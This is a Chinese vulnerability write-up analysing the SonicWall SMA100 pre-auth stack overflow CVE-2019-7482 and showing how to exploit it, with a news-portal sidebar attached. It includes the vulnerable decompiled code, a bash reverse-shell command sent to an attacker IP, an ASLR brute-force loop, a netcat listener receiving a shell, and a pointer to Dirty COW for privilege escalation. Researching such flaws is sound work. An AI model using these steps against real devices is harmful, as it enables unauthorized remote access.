网易首页 > 网易号 > 正文 申请入驻

sonicwall SMA100缓冲区溢出漏洞分析与利用

0
分享至

作者:维阵漏洞研究员—w0lfzhang

sonicwall去年爆了一个RCE漏洞,是个pre-auth栈溢出,编号为CVE-2019-7482,那时候觉得就是个简单的栈溢出,觉得没什么好分析的。但是后来去写exp的时候,觉得一些分析过程及利用技巧在针对防火墙vpn等网络设备很有借鉴价值,所以就详细记录一下利用的过程。

环境搭建

该漏洞影响sonicwall SMA 100型号,可以从官网免费下载sonicwall的虚拟机,我测试的虚拟机版本为。

sw_sslvpnsra-vm__eng_8.1.0.7.ova

因为虚拟机没有提供标准shell,首先shell escape下。旧版本的shell逃逸比较简单,虚拟机挂载一下硬盘,然后修改passwd里面root的登录环境为/bin/sh即可。

root@sslvpn:~ # cat /etc/passwdroot:x:0:0:root:/root:/bin/shbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/falsemail:x:8:12:mail:/var/spool/mail:/bin/falsesquid:x:23:23:ftp:/var/spool/squid:/bin/falsentp:x:38:38::/etc/ntp:/bin/falsesshd:x:74:74:sshd:/var/empty:/bin/falsenobody:x:99:99:Nobody:/home/nobody:/bin/falsesnort:x:100:101:ftp:/var/log/snort:/bin/falselogwatch:x:102:102::/var/log/logwatch:/bin/falsednsmasq:x:103:103::/:/bin/falsecron:x:104:104::/:/bin/falseadmin::105:105::/:/usr/sbin/cli

然后在虚拟机里手动启动下ssh(执行/usr/sbin/sshd)即可ssh登录了,登录凭证为root/password(可用john破解下shadow)。

➜ sonicwall ssh root@192.168.x.xroot@192.168.x.x's password:root@sslvpn:~ # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),105(rootadmin)root@sslvpn:~ #

因为sonicwall的虚拟机没有提供wget,curl,scp等工具,只提供了ftp命令供上传下载文件,所以需要在本机搭建下ftp服务器供后续调试上传相关文件使用。

➜ sonicfs python -m pyftpdlib -p 2121[I 2021-01-30 14:09:19] concurrency model: async[I 2021-01-30 14:09:19] masquerade (NAT) address: None[I 2021-01-30 14:09:19] passive ports: None[I 2021-01-30 14:09:19] >>> starting FTP server on 0.0.0.0:2121, pid=2474 <<<

漏洞分析

sonicwall SMA的web服务用的是Apache httpd,大部分功能都是用自己实现的相关cgi。大部分cgi是需要认证的,有几个是不需要的。漏洞点在supportLogin cgi中,该cgi访问无需认证。漏洞很简单,http头user-agent处理不当导致栈溢出,在getSafariVersion函数中,真正的实现在libsys.so中:

int __cdecl getSafariVersion(char *a1, int a2, int a3, int a4){ ... char dest[44]; // [esp+10h] [ebp-3Ch] v4 = 0; if ( strstr(a1, "Safari") && !strstr(a1, "Chrome") ) { v6 = strstr(a1, "Version/"); v7 = v6 + 8; v8 = strchr(v6 + 8, ' '); if ( v8 ) { v9 = 0; do { *(_DWORD *)&dest[v9] = 0; v9 += 4; } while ( v9 < 0x20 ); memcpy(dest, v7, v8 - (_BYTE *)v7); v10 = strchr(dest, '.'); ...

该函数会把user-agent头中Version/和空格之间的内容复制到栈缓冲区上,长度未做限制,然而该缓冲区长度只有44字节,所以很明显的溢出。接下来就是如何利用这个栈溢出来获取root权限了。

漏洞利用

首先要知道的事http服务是以nobody用户权限运行的,其启动的cgi也是一样,所以直接利用该漏洞获取的权限也是nobody。

root@sslvpn:~ # ps aux |grep httpdroot 1592 0.0 0.2 15944 5964 ? Ss 21:52 0:00 /usr/src/EasyAccess/bin/httpdnobody 1797 0.0 0.2 16068 5032 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1798 0.0 0.2 16068 5032 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1799 0.0 0.2 16064 5028 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1800 0.0 0.2 16068 5032 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1801 0.0 0.2 16064 5028 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1802 0.0 0.2 16064 5028 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpdnobody 1803 0.0 0.2 16064 5028 ? S 21:53 0:00 /usr/src/EasyAccess/bin/httpd......

然后按以往的习惯查看下程序的保护措施:

➜ sonicfs checksec supportLogin && checksec libSys.so[*] ...supportLogin' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] ...libSys.so' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

可以看到cgi和目标库是没有开栈保护的,主程序没开PIE,NX开了,接下来看下地址随机化:

root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space2

地址随机化也开了。可能到这你会发现这在ctf中就是个简单的栈溢出,但是一般来说ctf中的pwn是可以跟stdio,stdout进行交互的,就是说他输出的内容你可以正常接受,你也可以通过键盘输入你想输入的东西,一切都看似很正常。但是因为这里cgi运行的是在真实的web服务器上,跟它的交互也只能是socket,而在真实的web服务器上你是无法知道socket对应的fd是什么的。而且就算知道fd了,fd上的数据也是httpd在处理,而不是对应的cgi在处理。而且以前针对地址随机化的处理方法都是泄露libc地址等,但是这里也因为以上原因是无法通过fd来接受泄露数据。

还有一个问题,怎么调试cgi?因为cgi的调试不可以像普通程序那样直接attach调试,cgi的启动是由httpd执行的,把包发过去一瞬间就执行完了,根本没有机会attach。有种方法是写个sh脚本手动执行下cgi,但是后来发现手动执行cgi和httpd执行cgi两者的内存分布是不一样的,真实情况如下:
我们先来看下httpd的虚拟内存布局情况(因为暂时还无法看到cgi执行时的内存布局):

root@sslvpn:~ # cat /proc/1798/maps08048000-0812c000 r-xp 00000000 08:04 82025 /usr/src/EasyAccess/bin/httpd0812c000-08130000 rw-p 000e3000 08:04 82025 /usr/src/EasyAccess/bin/httpd08130000-08135000 rw-p 00000000 00:00 008e61000-08fb0000 rw-p 00000000 00:00 0 [heap]08fb0000-08ff7000 rw-p 00000000 00:00 0 [heap]08ff7000-09016000 rw-p 00000000 00:00 0 [heap]b6a2f000-b6a62000 rw-s 00000000 00:04 0 /SYSV0104fce5 (deleted)b6a62000-b6ae3000 rw-s 00000000 00:04 6724 /dev/zero (deleted)...b6e68000-b6ff4000 r-xp 00000000 08:04 40410 /lib/libc-2.14.1.sob6ff4000-b6ff5000 ---p 0018c000 08:04 40410 /lib/libc-2.14.1.sob6ff5000-b6ff7000 r--p 0018c000 08:04 40410 /lib/libc-2.14.1.sob6ff7000-b6ff8000 rw-p 0018e000 08:04 40410 /lib/libc-2.14.1.so...b7497000-b766c000 r-xp 00000000 08:04 40641 /lib/libSys.sob766c000-b7673000 rw-p 001d5000 08:04 40641 /lib/libSys.sob7673000-b7677000 rw-p 00000000 00:00 0...b76fe000-b76ff000 rw-p 00000000 00:00 0b76ff000-b7700000 r-xp 00000000 00:00 0 [vdso]b7700000-b7720000 r-xp 00000000 08:04 41148 /lib/ld-2.14.1.sob7720000-b7721000 r--p 0001f000 08:04 41148 /lib/ld-2.14.1.sob7721000-b7722000 rw-p 00020000 08:04 41148 /lib/ld-2.14.1.sobfc74000-bfc95000 rw-p 00000000 00:00 0 [stack]

没有什么问题,libc等地址0xb6开头。但是手动执行cgi的内存布局如下:

gef➤ vmm[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x08048000 0x0804e000 0x00000000 r-x /usr/src/EasyAccess/www/cgi-bin/supportLogin0x0804e000 0x0804f000 0x00005000 rw- /usr/src/EasyAccess/www/cgi-bin/supportLogin0x40000000 0x40020000 0x00000000 r-x /lib/ld-2.14.1.so0x40020000 0x40021000 0x0001f000 r-- /lib/ld-2.14.1.so0x40021000 0x40022000 0x00020000 rw- /lib/ld-2.14.1.so0x40022000 0x40023000 0x00000000 r-x [vdso]0x40023000 0x40024000 0x00000000 rw-...0x400d0000 0x402a5000 0x00000000 r-x /lib/libSys.so0x402a5000 0x402ac000 0x001d5000 rw- /lib/libSys.so0x402ac000 0x402af000 0x00000000 rw-...0x40514000 0x406a0000 0x00000000 r-x /lib/libc-2.14.1.so0x406a0000 0x406a1000 0x0018c000 --- /lib/libc-2.14.1.so0x406a1000 0x406a3000 0x0018c000 r-- /lib/libc-2.14.1.so0x406a3000 0x406a4000 0x0018e000 rw- /lib/libc-2.14.1.so...0x409dc000 0x409de000 0x00000000 rw-0x409de000 0x409f8000 0x00000000 r-x /usr/lib/libsasl2.so.2.0.250x409f8000 0x409f9000 0x0001a000 rw- /usr/lib/libsasl2.so.2.0.250x409f9000 0x409fb000 0x00000000 rw-0xbffdf000 0xc0000000 0x00000000 rw- [stack]

奇怪得很,lib地址mmap在了0x40开头的地址,而且真正运行exp的时候用0x40的地址是打不了的。所以要真正attach httpd执行的cgi才能知道真实情况。

所以到这里我们需要解决以下问题:

  1. 如何控制输入流来进行ROP。
  2. 如何绕过地址随机化。
  3. 如何调试真实执行的cgi程序。

第一个问题解决不难,我们可通过post请求方法控制post数据来控制输入流。因为httpd执行的cgi的标准输入来自httpd的post数据。所以在ROP时需要从标准输入读取数据可通过发送post包。在ROP中需要解决的一个问题是我们执行的命令应该放在哪里,因为地址随机化的影响,我们不能放到栈上和堆上。我们可以把其放到supporLogin主程序的bss等可写的段。

data = "/bin/bash -i >& /dev/tcp/192.168.x.x/9090 0>&1;"session = requests.Session()headers = xxxresponse = session.post("https://192.168.x.x/cgi-bin/supportLogin", headers=headers, data = data, verify=False)

在ROP的过程中还需要解决一个问题就是\x00是进不去的,所以不能调用read等函数来读取数据,但是可以调用fgets函数,该函数就一个参数,直接设置成bss段地址即可,不包含\x00字符。

第二个问题,因为是x86 32位程序,在运行多次后发现lib地址只有中间12bit会有变化,0xb7开头,后面三个是0,所以我们只需要爆破0xb7xxx000中的12位即可,运行几秒后即可爆破成功。

第三个问题想了很多方法。第一是通过patch程序,例如加断点,修改一些函数为sleep等,但是都没有成功。最后想了个方法,在虚拟机中运行:

while true; do a=`pgrep supportLogin`;if [ -n "$a" ]; then /tmp/gdbserver :1234 --attach $a; else echo 'not'; fi;done

然后正常不断的发送http数据包即可,会有一定几率attach到cgi程序。

...Cannot attach to process 20226: Operation not permitted (1), process 20226 is a zombie - the process has already terminatedExitingnotnotnotAttached; pid = 20236Listening on port 1234...

然后在本机用gdb即可调试。

gef➤ target remote 192.168.x.x:1234...0xbfdb70b8│+0x0000: 0x00000001 ← $esp0xbfdb70bc│+0x0004: 0x000000000xbfdb70c0│+0x0008: 0xbfdb720c → 0xfbad20880xbfdb70c4│+0x000c: 0xb72a4643 → 0xbfdb70c8│+0x0010: 0xb7391ff4 → 0x0018ed7c0xbfdb70cc│+0x0014: 0xb7240bb3 → cmp eax, 0xffffffff0xbfdb70d0│+0x0018: 0x00004f110xbfdb70d4│+0x001c: 0xbfdb720c → 0xfbad2088─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0xb7887420 <__kernel_vsyscall+12> nop 0xb7887421 <__kernel_vsyscall+13> nop 0xb7887422 <__kernel_vsyscall+14> int 0x80 → 0xb7887424 <__kernel_vsyscall+16> pop ebp 0xb7887425 <__kernel_vsyscall+17> pop edx 0xb7887426 <__kernel_vsyscall+18> pop ecx 0xb7887427 <__kernel_vsyscall+19> ret 0xb7887428 add BYTE PTR [esi], ch 0xb788742a jae 0xb7887494─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, stopped 0xb7887424 in __kernel_vsyscall (), reason: STOPPED───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0xb7887424 → __kernel_vsyscall()[#1] 0xb72a4643 → waitpid()[#2] 0xb7240bb3 → cmp eax, 0xffffffff[#3] 0x804eb5c → das────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤ vmm[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x08048000 0x0804e000 0x00000000 r-x /usr/src/EasyAccess/www/cgi-bin/supportLogin0x0804e000 0x0804f000 0x00005000 rw- /usr/src/EasyAccess/www/cgi-bin/supportLogin0x09efd000 0x09f1e000 0x00000000 rw- [heap]0xb6eaf000 0xb6eb1000 0x00000000 rw-...0xb7203000 0xb738f000 0x00000000 r-x /lib/libc-2.14.1.so0xb738f000 0xb7390000 0x0018c000 --- /lib/libc-2.14.1.so0xb7390000 0xb7392000 0x0018c000 r-- /lib/libc-2.14.1.so0xb7392000 0xb7393000 0x0018e000 rw- /lib/libc-2.14.1.so

pop ebx

可以看到真实执行的cgi对应的库的地址是以0xb7开头的。
最后在爆破的时候需要注意的是,因为库的地址是变化的,所以如果爆破时libc的地址也变,两者要同时是相同的地址概率比较小:

def main(): libc = 0xb7000000 while True: try: print '[+] libc = ' + hex(libc) pwn(libc) libc += 0x1000 #time.sleep(1) except: continue

但是如果爆破基址不变然后去碰撞libc地址的话概率会提高:

while True: try: pwn(0xb7203000) except: continue

最后用第二种思路可几秒就爆破成功,获得设备nobody权限:

➜ sonicfs nc -lvvp 9090Listening on 0.0.0.0 9090Connection received on 192.168.x.x 46632bash: no job control in this shellbash-4.2$ ididuid=99(nobody) gid=99(nobody) groups=99(nobody)bash-4.2$ uname -auname -aLinux sslvpn 3.1.0 #1 Sat Dec 3 03:07:54 GMT 2016 i686 i686 i386 GNU/Linuxbash-4.2$

至于提权的话,linux kernel 3.1.0的内核有很多本地提权漏洞可以用,例如脏牛…

总得来说,虽然这个漏洞看起是比较简单的,漏洞利用也不难,但是利用过程中及调试过程还是比较有意思的,所以记录一下。

漏洞poc: https://github.com/w0lfzhang/some_nday_bugs/tree/master/Sonicwall-CVE-2019-7482

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
形势有多严峻?老公7年大厂经验,43岁被裁员,没有面试机会…

形势有多严峻?老公7年大厂经验,43岁被裁员,没有面试机会…

慧翔百科
2026-05-25 12:21:58
黄金交易提醒:中东和平协议曙光乍现,油价崩盘美元重挫,金价将迎来超级大行情?

黄金交易提醒:中东和平协议曙光乍现,油价崩盘美元重挫,金价将迎来超级大行情?

汇通网
2026-05-26 07:32:04
李咏去世8年后,哈文与女儿现状曝光,踏上不归路

李咏去世8年后,哈文与女儿现状曝光,踏上不归路

萧狡科普解说
2026-05-26 07:46:36
伊朗总统佩泽希齐扬:我们不寻求核武器,也不寻求地区动荡

伊朗总统佩泽希齐扬:我们不寻求核武器,也不寻求地区动荡

澎湃新闻
2026-05-25 10:39:22
重回广东?赵睿惹怒北京球迷,3点因素阻碍转会,徐杰合同难处理

重回广东?赵睿惹怒北京球迷,3点因素阻碍转会,徐杰合同难处理

体坛大事记
2026-05-25 12:31:46
有人问,若是国民党当年赢了,老蒋统治中国,那中国的未来会如何

有人问,若是国民党当年赢了,老蒋统治中国,那中国的未来会如何

浩渺青史
2026-04-27 17:06:59
张本智和父亲:我儿子早晚灭掉国乒,他比99%的中国人都优秀!

张本智和父亲:我儿子早晚灭掉国乒,他比99%的中国人都优秀!

拳击时空
2026-05-26 05:38:46
女星谢依霖辟谣老公患渐冻症,否认对方隐瞒遗传病史:生第二胎时才发现患肌无力,无论何时遭遇病痛都会陪伴他

女星谢依霖辟谣老公患渐冻症,否认对方隐瞒遗传病史:生第二胎时才发现患肌无力,无论何时遭遇病痛都会陪伴他

鲁中晨报
2026-05-25 18:34:05
袁立生病只是冰山一角,自曝无戏可拍,被欺负,无法为自己发声

袁立生病只是冰山一角,自曝无戏可拍,被欺负,无法为自己发声

寒士之言本尊
2026-05-25 20:25:55
还好有一个美国人!最佳一阵出炉,SGA约基奇文班077都是国际球员

还好有一个美国人!最佳一阵出炉,SGA约基奇文班077都是国际球员

无术不学
2026-05-25 08:57:19
中超保级彻底陷入混乱格局!津门虎深陷绝境,海牛三镇命悬一线!

中超保级彻底陷入混乱格局!津门虎深陷绝境,海牛三镇命悬一线!

田先生篮球
2026-05-25 09:14:24
五年青春耗尽!压垮张镇麟的最后一根稻草,果然是郭艾伦

五年青春耗尽!压垮张镇麟的最后一根稻草,果然是郭艾伦

秋姐居
2026-05-25 19:43:12
热苏斯社媒怀念津琴科:我在这儿很想你,我的兄弟

热苏斯社媒怀念津琴科:我在这儿很想你,我的兄弟

懂球帝
2026-05-25 09:31:20
两名游客在南非国家公园遇害,疑遭谋杀

两名游客在南非国家公园遇害,疑遭谋杀

澎湃新闻
2026-05-25 13:24:14
《主角》:龚丽丽给易青娥下药!苟存忠临死前一句话,竟救她一命

《主角》:龚丽丽给易青娥下药!苟存忠临死前一句话,竟救她一命

慢半拍sir
2026-05-24 22:14:09
豪门梦碎?奥运体操女神净身出户,前夫说"发福"撕开婚姻遮羞布?

豪门梦碎?奥运体操女神净身出户,前夫说"发福"撕开婚姻遮羞布?

杨仔述
2026-05-26 01:08:47
印度上上下下对中国的敌视,深入到了这个国家的骨子里

印度上上下下对中国的敌视,深入到了这个国家的骨子里

比利
2026-05-26 01:00:41
两枚奥运金牌得主因生计所迫,投身"增强运动会"赌上2028奥运资格

两枚奥运金牌得主因生计所迫,投身"增强运动会"赌上2028奥运资格

体育硬核说
2026-05-25 01:45:58
女大学生宿舍试穿抹胸裙走红,曼妙身材圈粉无数,露脸后却遭恶评

女大学生宿舍试穿抹胸裙走红,曼妙身材圈粉无数,露脸后却遭恶评

捣蛋窝
2026-05-21 06:40:07
《亢奋》女主再裸戏引争议,剧中老公惨死

《亢奋》女主再裸戏引争议,剧中老公惨死

娱圈观察员
2026-05-26 00:35:00
2026-05-26 08:24:49
安全客 incentive-icons
安全客
有思想的安全新媒体
1360文章数 4754关注度
往期回顾 全部

科技要闻

微软22.8万人,被迫过创业公司的日子

头条要闻

燃油车齐降价捷豹路虎打对折 网友:感觉燃油车又香了

头条要闻

燃油车齐降价捷豹路虎打对折 网友:感觉燃油车又香了

体育要闻

如果不好好守门,他可能早就继承家业了

娱乐要闻

李晨郑恺跑男停宣:12年元老被边缘化

财经要闻

起底煤矿“暗面”:假整改、假数据

汽车要闻

启境GT7定档5月29日预售 提供三电机版本

态度原创

游戏
本地
教育
艺术
房产

魔兽世界:时光服提升难度谁受益?只管输出DPS,TN却在疯狂抗压

本地新闻

用云锦的方式,打开江苏南京

教育要闻

斐波那契数列,非常有意思!

艺术要闻

张大千最克制的十年温柔

房产要闻

工抵房骗局!134套房款入私账!海南这个盘,坑惨买房人!

无障碍浏览 进入关怀版